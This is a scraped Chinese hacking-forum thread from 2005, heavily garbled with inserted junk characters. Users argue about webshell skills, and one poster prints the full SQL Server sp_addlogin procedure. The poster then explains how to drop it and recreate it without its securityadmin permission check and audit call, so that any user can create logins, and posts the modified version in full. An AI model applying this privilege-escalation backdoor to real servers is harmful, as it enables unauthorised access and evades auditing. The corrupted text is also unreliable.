[原创]webshell篇

就凭你？
1 |8 }5 |9 Y0 R有资格这样评价师院学生的计算机水平？？
用这种口气诋毁别人！
鄙视你
. u- ?: _4 |  R* P

[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言：[/B][BR]限
- Q% i% g; A8 |. X( G* ]这个定义未免太烂了吧，我想知道你用什么方法获得人家的webshell，靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然，那你凭什么教人家怎么去研究
对于师院人士的计算机水平，我实在不敢恭维，没有天才的诞生啊
) A/ y# T3 I6 a! {1 v& Y哎，可悲啊

就是就是。。

; D7 w; i. W4 h0 ]! \4 j! D

[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言：[/B][BR]对一个深陷迷途的同志，各位大虾用得着这样蔑视它吗，我们应当怀着一颗仁慈的心来拯救它，爱护它，我KAO，JB

[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
' [3 j% V! N' n3 ^* |* z' H@loginame sysname
2 R' g1 G9 D& O9 m+ N  K,@passwd     sysname = Null
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
2 ^3 h: M7 t8 b,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
% {' _, b6 q: C/ x7 dAS
) E/ i9 Q$ Y) S! _* V+ w& h# ~" l-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
% ]: @8 G4 v( mset nocount on
Declare @ret   int   -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
- \  J/ T. R: Bbegin
. a! J0 \( o7 E0 _, Z; c  U# \dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
) }! F; x6 r! z8 x$ O: jreturn (1)
8 D* e' o8 t6 e8 ]0 W5 hend
ELSE
9 v- q# N5 @" z. H3 e" ibegin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
5 ]; r  m5 Q: ~, Z" `$ xend
-- DISALLOW USER TRANSACTION --
3 o' b& A; W, aset implicit_transactions off
' f# d1 u1 V8 w) ]% _' HIF (@@trancount > 0)
" R5 F6 d2 n" F1 d. D7 `begin
% ~3 }4 b& T% }raiserror(15002,-1,-1,\'sp_addlogin\')
0 d: i* C/ }- q( Q) Xreturn (1)
# q$ r0 @6 j1 O5 Qend
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
; o4 g) A: y+ f; g" ^& T7 jif (charindex(\'\\\', @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
- L4 Q* ?8 j( s3 x8 h& N* H' p8 g  return (1)
( J8 ?# B1 _. t+ d' E, y' V" Fend
( H/ C4 _2 u3 j/ [& N" p. o--Note: different case sa is allowed.
! s* \; f& f5 b! j. i3 V) [  fif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
$ D  Z. Y) E% |" Nbegin
! g/ I9 s  l$ jraiserror(15405, -1 ,-1, @loginame)
' j- t/ r- f8 B; V0 [. qreturn (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
2 O& Y4 p, C& V9 `2 ^! oif exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
$ R7 F+ `  F% H. j! r+ P% |( d+ M1 e% T$ creturn (1)
1 L( `: A" n  \8 J  V) q! g( A2 mend
# T" r& e9 m3 y4 k; V! Y-- VALIDATE DEFAULT DATABASE --
$ J$ l2 m8 f6 d. Z4 g. z) b9 d- sIF db_id(@defdb) IS NULL
3 e" L4 p" N' y& t8 ?/ _4 L3 kbegin
! T' i* r0 ~" {- n- ?' Iraiserror(15010,-1,-1,@defdb)
return (1)
5 O8 o3 t5 z1 A  R2 a  Mend
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
: o3 D. ]. K) L7 MExecute @ret = sp_validlang @deflanguage
* D# e7 U$ M1 G; n: XIF (@ret <> 0)
( B, \) v" D2 F6 Ureturn (1)
end
( o: Q% ]- @* w: _' y2 C5 \ELSE
7 W6 c2 k9 k5 {begin
8 s3 |. Z6 Z( i) Xselect @deflanguage = name from master.dbo.syslanguages
4 o! b  E2 t7 Mwhere langid = @@default_langid --server default
language
# P- d4 O/ G  Bif @deflanguage is null
select @deflanguage = N\'us_english\'
( q, d! h7 M0 A/ hend
1 J3 t1 l3 |$ Q4 T-- VALIDATE SID IF GIVEN --
7 ]$ h4 u4 }7 e$ ^% V1 Oif ((@sid IS NOT Null) and (datalength(@sid) <> 16))
. s* _" U2 t4 }! U* L  obegin
raiserror(15419,-1,-1)
& o4 @1 I$ H0 u8 xreturn (1)
4 K' I5 `' K/ yend
& I. S2 r# c5 {* H: R# a; J- X( Zelse if @sid is null
9 i# T) c) W# pselect @sid = newid()
) Q4 ?$ S* W8 e: S/ B( w* p, B/ o+ `if (suser_sname(@sid) IS NOT Null)
begin
  {$ F7 H7 N: |. p7 U$ E" lraiserror(15433,-1,-1)
return (1)
end
$ Z" g( X4 N1 A; Z$ h-- VALIDATE AND USE ENCRYPTION OPTION --
6 i  G; ]1 d! N5 Odeclare @xstatus smallint
# K4 h. m3 V, k6 R" y- Y0 gselect @xstatus = 2 -- access
* f  w  Q+ O4 iif @encryptopt is null
+ F) n) T: y' e5 s2 ~2 `% ]select @passwd = pwdencrypt(@passwd)
) [( C$ j8 S" kelse if @encryptopt = \'skip_encryption_old\'
( b, p4 a2 U" S5 I9 p0 Xbegin
select @xstatus = @xstatus | 0x800, -- old-style
8 F7 f: S1 K0 x( [encryption
3 n: \' O2 M6 z3 F) h3 H( [@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> \'skip_encryption\'
begin
0 z# w; d; V3 t6 \9 D3 A% ^3 I8 E. xraiserror(15600,-1,-1,\'sp_addlogin\')
return 1
9 K7 l! h6 D- [7 {end
% O8 o' Y# K' l6 e-- ATTEMPT THE INSERT OF THE NEW LOGIN --
& Q: y9 J9 i$ j3 f% IINSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
' v5 b* s* R* v0 h    db_id(@defdb), @deflanguage)
9 e1 T, h2 l7 }' \5 D# }! M8 aif @@error <> 0 -- this indicates we saw duplicate row
2 A" C/ I- X0 @  return (1)
( [' f* D5 c1 U" y% e: G-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(\'use master grant all to null\')
* L% [& J' @( u( _$ @# v-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
; K. q0 ]# s% X. I7 M8 Wsp_addlogin，主要是这里一段再搞鬼
6 P; G0 Y0 m5 l-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
: m6 L* A+ ?; Bdbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
6 r5 s6 g9 v$ U2 Eraiserror(15247,-1,-1)
4 S8 H4 D7 A1 T" Yreturn (1)
end
4 \. |: p( F' A3 @ELSE
1 t; S' ]0 G. d7 I: C+ lbegin
% a& a* C$ r: p0 D/ n5 [0 Bdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
drop procedure sp_addlogin

& n" t* L9 m/ x: \
3 K& v3 y" h$ D' Y& }5 M+ r
* P0 `/ g- a1 h$ R" h然后再来恢复sp_addlogin


- ?% L; }8 E" t* s) Q9 B% G
* I! w- e& v/ |9 _7 H$ R+ ^/ ycreate procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
5 s: F0 C; r" e* ~$ B) }2 ^# G. [,@deflanguage   sysname = Null
8 p8 F+ ?; F: N+ k- {7 z,@sid   varbinary(16) = Null
! n/ I3 ^& l+ a% ^0 U1 x,@encryptopt varchar(20) = Null
AS
; R/ b1 R4 @& S/ j& j6 W+ Z  ?-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
' v) n, a  _9 ~+ W. @set nocount on
2 P/ Z' u9 E. u2 ]Declare @ret   int   -- return value of sp call
1 i8 K3 o( J( J/ S1 I
-- DISALLOW USER TRANSACTION --
: L" A. `3 \. Z2 }  sset implicit_transactions off
) L! q( k- _; q) k8 z0 s6 a, O+ jIF (@@trancount > 0)
2 B4 q5 o; E  A9 n8 M! Y% T# ubegin
raiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
) b! H! R: a1 M-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
0 z, A/ l" H) [-- (3) Not a reserved login name
4 N1 s! c1 j! x: d0 Q& a7 gexecute @ret = sp_validname @loginame
  x" u/ u3 W. @* y) Tif (@ret <> 0)
  return (1)
& K/ v: U+ ?  _+ xif (charindex(\'\\\', @loginame) > 0)
begin
, c  N! @3 T2 w. W  raiserror(15006,-1,-1,@loginame)
  return (1)
end
; g3 f: J5 H% g--Note: different case sa is allowed.
2 @  B' {' \& [8 ]0 oif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
& V8 E' T8 V, N" d8 `! @" Mraiserror(15405, -1 ,-1, @loginame)
' X9 ^5 |; f, a7 y3 n$ y# G# W% N" Kreturn (1)
end
: f( \4 R" i3 p0 @6 f-- LOGIN NAME MUST NOT ALREADY EXIST --
8 J' P' Q  E; d; I% ]4 @9 Z) jif exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
- p: v3 ~% J: Mraiserror(15025,-1,-1,@loginame)
6 U: b  H6 u  F0 F( U( ~return (1)
  ^  T; x& l8 w& x( ]% P% A8 X6 Qend
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
. d6 f0 @) U- H/ {! ibegin
raiserror(15010,-1,-1,@defdb)
return (1)
  w0 V! f% e# m$ Nend
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
2 j+ d6 j* \& X; ^Execute @ret = sp_validlang @deflanguage
9 l; y' n2 j  F+ {  xIF (@ret <> 0)
6 f# f5 O* K& ^8 D9 Qreturn (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
& V0 O& y# G* }where langid = @@default_langid --server default
language
8 K0 S0 }# W8 n( ^' ]if @deflanguage is null
select @deflanguage = N\'us_english\'
end
-- VALIDATE SID IF GIVEN --
8 @" e% q5 g$ R1 x* h1 S- {& pif ((@sid IS NOT Null) and (datalength(@sid) <> 16))
0 c" l( c* W( S9 K  |* zbegin
raiserror(15419,-1,-1)
4 S1 z7 b  A$ Creturn (1)
end
) o  [6 r: ~8 Y* }. Helse if @sid is null
2 Q) i  v  K; P  T5 C0 G% F+ \select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
& z/ Y* |) C8 _8 Kraiserror(15433,-1,-1)
return (1)
4 I! F. {! P5 O; H. ~2 zend
-- VALIDATE AND USE ENCRYPTION OPTION --
, R! b: L8 k/ H' Jdeclare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
3 ?' o! j3 l( U8 Qelse if @encryptopt = \'skip_encryption_old\'
  ?! t2 O# g# p0 i# B, o% ^: ~6 {begin
select @xstatus = @xstatus | 0x800, -- old-style
' W4 A! N2 w. H0 Mencryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
5 D, @, ?5 O( f& R. yelse if @encryptopt <> \'skip_encryption\'
( d1 m1 l) y2 \$ c# R. W9 v3 t- gbegin
raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
3 P, d9 W5 T/ ~/ E6 \end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
0 A& x/ k$ d. Y  q# t) g  N4 GINSERT INTO master.dbo.sysxlogins VALUES
8 Z$ |. c5 {6 [+ S! c0 ?  (NULL, @sid, @xstatus, getdate(),
. H" v; f, Y# q. |" e+ w    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
' `1 N4 p' u5 R6 fif @@error <> 0 -- this indicates we saw duplicate row
+ N& d& f! M% e- k  return (1)
$ ~2 y( A( f$ \( [1 z, i-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
; c- E1 V, x4 V. L% JSYSLOGINS CHANGE --
exec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
5 m4 i1 T0 W, e) _; qreturn (0) -- sp_addlogin
" R/ }) A( E% D5 i' WGO

# A, }9 s5 X; j% ^; h! MMM很强啊..    是不是师院计算机系的.??

就当凭着这美丽的回帖..  
2 z, c' M, _) W偶帮你加精了..

我不是计算机系的。
自己学的。
+ D3 M# V. v/ {8 _: `' n, ^

[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言：[/B][BR]
, d. ^% q2 `3 B  J! i* ^. f
" ^+ a& _" q8 s! V3 U2 z% kMM很强啊..    是不是师院计算机系的.??

晕..  不是吧.. 自学的?...

我不是计算机系的！！！

...晕...在这里讨论还要别人给QB